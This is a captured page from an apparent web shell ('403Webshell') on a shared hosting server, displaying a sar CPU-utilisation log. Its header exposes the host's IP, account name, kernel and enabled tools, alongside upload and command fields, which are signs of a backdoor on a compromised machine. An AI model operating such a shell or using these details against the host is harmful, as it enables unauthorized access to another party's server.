403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.9
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /var/log/sa/202602/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/log/sa/202602/sar23
Linux 4.19.286-203.ELK.el7.x86_64 (gator2125.hostgator.com) 	2026-02-23 	_x86_64_	(24 CPU)

12:00:02 AM     CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:01:01 AM     all     26.86      1.60      4.68      1.42      0.01      0.00      0.35      0.00      0.00     65.07
12:01:01 AM       0     19.49      1.95      4.88      1.41      0.00      0.00      0.34      0.00      0.00     71.93
12:01:01 AM       1     22.54      2.73      5.26      1.55      0.02      0.00      0.17      0.00      0.00     67.73
12:01:01 AM       2     23.57      1.33      5.42      1.65      0.02      0.00      0.19      0.00      0.00     67.83
12:01:01 AM       3     51.31      0.54      3.49      1.80      0.00      0.00      0.03      0.00      0.00     42.83
12:01:01 AM       4     32.94      1.63      4.68      1.06      0.02      0.00      0.07      0.00      0.00     59.60
12:01:01 AM       5     19.74      2.40      4.03      0.56      0.02      0.00      0.09      0.00      0.00     73.17
12:01:01 AM       6     22.73      1.57      5.29      1.07      0.02      0.00      0.05      0.00      0.00     69.27
12:01:01 AM       7     35.14      0.95      4.10      0.87      0.02      0.00      0.03      0.00      0.00     58.89
12:01:01 AM       8     23.37      1.43      4.98      1.09      0.00      0.00      0.03      0.00      0.00     69.09
12:01:01 AM       9     22.41      2.63      4.69      2.08      0.02      0.00      0.02      0.00      0.00     68.16
12:01:01 AM      10     21.55      1.68      4.73      1.75      0.02      0.00      0.02      0.00      0.00     70.25
12:01:01 AM      11     19.32      1.02      4.77      0.19      0.00      0.00      0.03      0.00      0.00     74.67
12:01:01 AM      12     22.70      1.45      5.01      0.44      0.02      0.00      0.02      0.00      0.00     70.37
12:01:01 AM      13     23.45      1.62      4.93      1.04      0.02      0.00      0.03      0.00      0.00     68.92
12:01:01 AM      14     29.60      1.60      4.68      1.72      0.00      0.00      0.03      0.00      0.00     62.36
12:01:01 AM      15     43.53      2.34      4.52      2.53      0.02      0.00      0.00      0.00      0.00     47.06
12:01:01 AM      16     16.17      1.83      4.71      2.39      0.02      0.00      0.02      0.00      0.00     74.88
12:01:01 AM      17     36.20      1.67      4.07      2.09      0.02      0.00      0.03      0.00      0.00     55.92
12:01:01 AM      18     20.85      1.18      4.97      2.80      0.02      0.00      0.02      0.00      0.00     70.17
12:01:01 AM      19     16.88      1.47      5.37      0.32      0.02      0.00      0.02      0.00      0.00     75.93
12:01:01 AM      20     26.45      1.14      5.17      2.40      0.02      0.00      0.02      0.00      0.00     64.80
12:01:01 AM      21     41.33      0.97      3.81      0.85      0.02      0.00      0.02      0.00      0.00     53.01
12:01:01 AM      22     30.55      1.53      4.58      1.50      0.02      0.00      0.02      0.00      0.00     61.81
12:01:01 AM      23     22.84      1.84      4.10      0.78      0.02      0.00      7.17      0.00      0.00     63.25
12:02:02 AM     all     20.93      1.45      4.37      1.08      0.01      0.00      0.34      0.00      0.00     71.82
12:02:02 AM       0     16.34      1.29      4.29      0.71      0.02      0.00      0.43      0.00      0.00     76.92
12:02:02 AM       1     15.59      1.65      4.53      0.30      0.02      0.00      0.18      0.00      0.00     77.74
12:02:02 AM       2     13.97      2.05      3.99      1.51      0.02      0.00      0.18      0.00      0.00     78.29
12:02:02 AM       3     19.66      0.69      5.06      0.45      0.02      0.00      0.12      0.00      0.00     74.01
12:02:02 AM       4     18.65      0.93      4.57      2.68      0.02      0.00      0.07      0.00      0.00     73.09
12:02:02 AM       5     25.26      2.42      4.62      0.48      0.00      0.00      0.02      0.00      0.00     67.21
12:02:02 AM       6     28.05      1.26      4.37      1.66      0.02      0.00      0.05      0.00      0.00     64.60
12:02:02 AM       7     20.41      1.61      4.48      1.66      0.00      0.00      0.03      0.00      0.00     71.82
12:02:02 AM       8     22.29      0.76      4.47      2.30      0.02      0.00      0.03      0.00      0.00     70.14
12:02:02 AM       9     26.48      1.97      4.18      0.84      0.02      0.00      0.02      0.00      0.00     66.49
12:02:02 AM      10     18.77      1.31      5.31      1.82      0.02      0.00      0.03      0.00      0.00     72.75
12:02:02 AM      11     18.02      1.53      4.29      0.32      0.02      0.00      0.00      0.00      0.00     75.82
12:02:02 AM      12     15.72      2.47      4.49      0.56      0.02      0.00      0.02      0.00      0.00     76.72
12:02:02 AM      13     17.95      1.95      4.88      0.61      0.02      0.00      0.02      0.00      0.00     74.57
12:02:02 AM      14     19.73      0.96      3.88      1.62      0.02      0.00      0.02      0.00      0.00     73.77
12:02:02 AM      15     17.66      1.46      4.75      0.70      0.00      0.00      0.00      0.00      0.00     75.44
12:02:02 AM      16     21.88      1.90      4.35      1.11      0.02      0.00      0.02      0.00      0.00     70.73
12:02:02 AM      17     15.28      2.63      4.88      0.71      0.02      0.00      0.02      0.00      0.00     76.45
12:02:02 AM      18     20.34      0.93      4.20      0.51      0.02      0.00      0.00      0.00      0.00     74.00
12:02:02 AM      19     19.33      1.39      4.74      1.01      0.00      0.00      0.00      0.00      0.00     73.53
12:02:02 AM      20     45.02      0.83      3.32      0.71      0.00      0.00      0.00      0.00      0.00     50.12
12:02:02 AM      21     32.91      0.71      3.48      1.36      0.02      0.00      0.00      0.00      0.00     61.52
12:02:02 AM      22     17.93      1.18      4.49      1.21      0.00      0.00      0.00      0.00      0.00     75.20
12:02:02 AM      23     15.07      0.90      3.28      0.99      0.02      0.00      7.04      0.00      0.00     72.70
12:03:01 AM     all     19.27      2.24      4.15      1.09      0.01      0.00      0.34      0.00      0.00     72.90
12:03:01 AM       0     12.74      2.37      4.38      0.47      0.02      0.00      0.31      0.00      0.00     79.72
12:03:01 AM       1     31.07      1.85      4.38      3.03      0.00      0.00      0.17      0.00      0.00     59.50
12:03:01 AM       2     20.97      1.41      3.76      0.64      0.02      0.00      0.15      0.00      0.00     73.05
12:03:01 AM       3     16.48      1.70      4.15      1.00      0.02      0.00      0.12      0.00      0.00     76.53
12:03:01 AM       4     17.12      5.76      4.13      1.55      0.00      0.00      0.05      0.00      0.00     71.38
12:03:01 AM       5     20.97      3.38      4.10      0.92      0.02      0.00      0.03      0.00      0.00     70.58
12:03:01 AM       6     19.00      1.88      4.18      1.68      0.02      0.00      0.05      0.00      0.00     73.19
12:03:01 AM       7     25.85      1.48      4.01      0.17      0.02      0.00      0.02      0.00      0.00     68.45
12:03:01 AM       8     18.76      1.63      4.44      0.42      0.02      0.00      0.03      0.00      0.00     74.69
12:03:01 AM       9     29.19      0.95      4.56      0.63      0.02      0.00      0.03      0.00      0.00     64.61
12:03:01 AM      10     16.26      2.96      3.67      0.83      0.00      0.00      0.02      0.00      0.00     76.25
12:03:01 AM      11     17.41      2.17      3.94      1.26      0.02      0.00      0.03      0.00      0.00     75.17
12:03:01 AM      12     15.53      1.19      3.99      1.09      0.02      0.00      0.00      0.00      0.00     78.18
12:03:01 AM      13     15.40      1.97      4.74      1.84      0.02      0.00      0.02      0.00      0.00     76.02
12:03:01 AM      14     12.08      3.73      3.69      0.53      0.02      0.00      0.00      0.00      0.00     79.96
12:03:01 AM      15     26.93      2.19      3.79      0.19      0.02      0.00      0.02      0.00      0.00     66.86
12:03:01 AM      16     45.25      0.80      3.93      2.12      0.00      0.00      0.02      0.00      0.00     47.88
12:03:01 AM      17     16.48      3.84      5.05      0.39      0.02      0.00      0.00      0.00      0.00     74.22
12:03:01 AM      18     12.83      3.64      3.62      0.26      0.00      0.00      0.00      0.00      0.00     79.66
12:03:01 AM      19     14.80      2.41      3.69      2.14      0.02      0.00      0.02      0.00      0.00     76.92
12:03:01 AM      20     13.75      2.01      4.20      1.12      0.02      0.00      0.00      0.00      0.00     78.90
12:03:01 AM      21     16.96      1.43      4.96      2.63      0.00      0.00      0.02      0.00      0.00     74.01
12:03:01 AM      22     12.89      1.45      4.38      1.21      0.02      0.00      0.00      0.00      0.00     80.06
12:03:01 AM      23     13.77      1.45      3.80      0.19      0.02      0.00      6.98      0.00      0.00     73.81
12:04:01 AM     all     26.23      4.34      5.30      1.32      0.04      0.00      0.39      0.00      0.00     62.38
12:04:01 AM       0     22.61      5.32      6.17      1.17      0.03      0.00      0.22      0.00      0.00     64.48
12:04:01 AM       1     31.19      4.86      5.08      1.57      0.03      0.00      0.13      0.00      0.00     57.12
12:04:01 AM       2     22.52      2.24      6.02      1.74      0.03      0.00      0.15      0.00      0.00     67.30
12:04:01 AM       3     29.93      6.56      4.39      0.68      0.03      0.00      0.03      0.00      0.00     58.37
12:04:01 AM       4     24.94      3.16      7.20      0.94      0.05      0.00      0.07      0.00      0.00     63.65
12:04:01 AM       5     44.51      7.74      3.68      0.65      0.03      0.00      0.03      0.00      0.00     43.35
12:04:01 AM       6     25.57      5.03      5.55      1.05      0.05      0.00      0.03      0.00      0.00     62.71
12:04:01 AM       7     21.40      2.58      5.39      1.24      0.07      0.00      0.03      0.00      0.00     69.28
12:04:01 AM       8     24.47      1.99      5.13      1.22      0.03      0.00      0.03      0.00      0.00     67.13
12:04:01 AM       9     26.47      1.50      5.23      1.42      0.03      0.00      0.03      0.00      0.00     65.31
12:04:01 AM      10     25.13      3.03      5.27      0.64      0.05      0.00      0.05      0.00      0.00     65.85
12:04:01 AM      11     27.80      3.71      7.97      1.12      0.02      0.00      0.02      0.00      0.00     59.36
12:04:01 AM      12     28.35      1.62      5.79      1.33      0.03      0.00      0.02      0.00      0.00     62.86
12:04:01 AM      13     27.43      3.66      4.97      2.19      0.03      0.00      0.02      0.00      0.00     61.70
12:04:01 AM      14     24.42      4.18      5.16      1.24      0.03      0.00      0.03      0.00      0.00     64.93
